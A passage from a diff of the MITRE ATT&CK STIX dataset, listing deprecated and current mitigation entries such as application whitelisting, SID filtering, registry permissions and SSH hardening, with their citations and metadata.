"Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + }, + { + "source_name": "Linux kernel Yama", + "description": "Linux Kernel Archives. (n.d.). Yama Documentation - ptrace_scope. Retrieved December 20, 2017.", + "url": "https://www.kernel.org/doc/Documentation/security/Yama.txt" + }, + { + "source_name": "SELinux official", + "description": "SELinux Project. (2017, November 30). SELinux Project Wiki. Retrieved December 20, 2017.", + "url": "https://selinuxproject.org/page/Main_Page" + }, + { + "source_name": "grsecurity official", + "description": "grsecurity. (2017, December 12). What is grsecurity?. Retrieved December 20, 2017.", + "url": "https://grsecurity.net/" + }, + { + "source_name": "AppArmor official", + "description": "AppArmor. (2017, October 19). AppArmor Security Project Wiki. Retrieved December 20, 2017.", + "url": "http://wiki.apparmor.net/index.php/Main_Page" + } + ], + "modified": "2019-07-25T11:28:40.438Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Query Registry Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--0640214c-95af-4c04-a574-2a1ba6dda00b", + "external_references": [ + { + "external_id": "T1012", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1012" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. 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Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.", + "type": "course-of-action", + "name": "Regsvcs/Regasm Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--a90da496-b460-47e8-92e7-cc36eb00bd9a", + "external_references": [ + { + "external_id": "T1121", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1121" + } + ], + "modified": "2019-07-25T11:31:59.090Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. 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(Citation: Windows RDP Sessions)", + "type": "course-of-action", + "name": "Remote Desktop Protocol Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--53b3b027-bed3-480c-9101-1247047d0fe6", + "external_references": [ + { + "external_id": "T1076", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1076" + }, + { + "source_name": "Berkley Secure", + "description": "Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014.", + "url": "https://security.berkeley.edu/node/94" + }, + { + "source_name": "Windows RDP Sessions", + "description": "Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.", + "url": "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx" + } + ], + "modified": "2019-07-25T11:33:10.069Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. 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Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire [Valid Accounts](https://attack.mitre.org/techniques/T1078) that can be used by existing services.", + "type": "course-of-action", + "name": "Remote Services Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--979e6485-7a2f-42bd-ae96-4e622c3cd173", + "external_references": [ + { + "external_id": "T1021", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1021" + } + ], + "modified": "2019-07-25T11:34:25.376Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. 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Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. 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(Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Replication Through Removable Media Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--effb83a0-ead1-4b36-b7f6-b7bdf9c4616e", + "external_references": [ + { + "external_id": "T1091", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1091" + }, + { + "source_name": "Microsoft Disable Autorun", + "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.", + "url": "https://support.microsoft.com/en-us/kb/967715" + }, + { + "source_name": "TechNet Removable Media Control", + "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:35:23.261Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Resource Hijacking Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--46acc565-11aa-40ba-b629-33ba0ab9b07b", + "external_references": [ + { + "external_id": "T1496", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1496" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:35:48.524Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-04-24T16:59:33.603Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", + "type": "course-of-action", + "name": "Restrict File and Directory Permissions", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "external_references": [ + { + "external_id": "M1022", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1022" + } + ], + "modified": "2019-06-06T20:54:49.964Z", + "x_mitre_version": "1.0", + "created": "2019-06-06T20:54:49.964Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.", + "type": "course-of-action", + "id": "course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Restrict Library Loading", + "external_references": [ + { + "external_id": "M1044", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1044" + } + ], + "modified": "2019-06-11T17:00:01.740Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T17:00:01.740Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", + "type": "course-of-action", + "name": "Restrict Registry Permissions", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "external_references": [ + { + "external_id": "M1024", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1024" + } + ], + "modified": "2019-06-06T20:58:59.577Z", + "x_mitre_version": "1.0", + "created": "2019-06-06T20:58:59.577Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", + "type": "course-of-action", + "id": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Restrict Web-Based Content", + "external_references": [ + { + "external_id": "M1021", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1021" + } + ], + "modified": "2019-06-06T20:52:59.206Z", + "x_mitre_version": "1.0", + "created": "2019-06-06T20:52:59.206Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Rootkit Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--95ddb356-7ba0-4bd9-a889-247262b8946f", + "external_references": [ + { + "external_id": "T1014", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1014" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:36:17.659Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)", + "type": "course-of-action", + "name": "Rundll32 Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--8c918d8a-11c5-4ffd-af10-e74bc06bdfae", + "external_references": [ + { + "external_id": "T1085", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1085" + }, + { + "source_name": "Secure Host Baseline EMET", + "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.", + "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET" + } + ], + "modified": "2019-07-25T11:36:40.673Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure those systems against tampering. Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code. Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Runtime Data Manipulation Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--337172b1-b003-4034-8a3f-1d89a71da628", + "external_references": [ + { + "external_id": "T1494", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1494" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:37:02.869Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-04-12T14:59:36.522Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (netdom trust /domain: /EnableSIDHistory:no on the domain controller). \n* Applying SID Filter Quarantining to external trusts using the netdom tool (netdom trust /domain: /quarantine:yes on the domain controller)\nApplying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.", + "type": "course-of-action", + "name": "SID-History Injection Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55", + "external_references": [ + { + "external_id": "T1178", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1178" + }, + { + "source_name": "Microsoft Trust Considerations Nov 2014", + "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc755321.aspx" + }, + { + "source_name": "Microsoft SID Filtering Quarantining Jan 2009", + "description": "Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc794757.aspx" + }, + { + "source_name": "Microsoft Netdom Trust Sept 2012", + "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc835085.aspx" + }, + { + "source_name": "AdSecurity Kerberos GT Aug 2015", + "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", + "url": "https://adsecurity.org/?p=1640" + } + ], + "modified": "2019-07-25T11:37:35.427Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nConsider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nRestrict storage and execution of SIP DLLs to protected directories, such as C:\\Windows, rather than user directories.\n\nEnable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.", + "type": "course-of-action", + "name": "SIP and Trust Provider Hijacking Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--ef273807-c465-4728-9cee-5823422f42ee", + "external_references": [ + { + "external_id": "T1198", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1198" + }, + { + "source_name": "SpectorOps Subverting Trust Sept 2017", + "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.", + "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf" + } + ], + "modified": "2019-07-25T11:38:03.304Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)", + "type": "course-of-action", + "name": "SSH Hijacking Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--41cff8e9-fd05-408e-b3d5-d98c54c20bcf", + "external_references": [ + { + "external_id": "T1184", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1184" + }, + { + "source_name": "Symantec SSH and ssh-agent", + "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.", + "url": "https://www.symantec.com/connect/articles/ssh-and-ssh-agent" + } + ], + "modified": "2019-07-25T11:38:28.944Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.", + "type": "course-of-action", + "name": "SSL/TLS Inspection", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--7bb5fae9-53ad-4424-866b-f0ea2a8b731d", + "external_references": [ + { + "external_id": "M1020", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1020" + } + ], + "modified": "2019-06-06T20:15:34.146Z", + "x_mitre_version": "1.0", + "created": "2019-06-06T20:15:34.146Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nConfigure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)\n\nConfigure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Scheduled Task Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd", + "external_references": [ + { + "external_id": "T1053", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1053" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "TechNet Server Operator Scheduled Task", + "description": "Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.", + "url": "https://technet.microsoft.com/library/jj852168.aspx" + }, + { + "source_name": "TechNet Scheduling Priority", + "description": "Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.", + "url": "https://technet.microsoft.com/library/dn221960.aspx" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:39:00.739Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Scheduled Transfer Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--1c0711c8-2a73-48a1-893d-ff88bcd23824", + "external_references": [ + { + "external_id": "T1029", + "source_name": 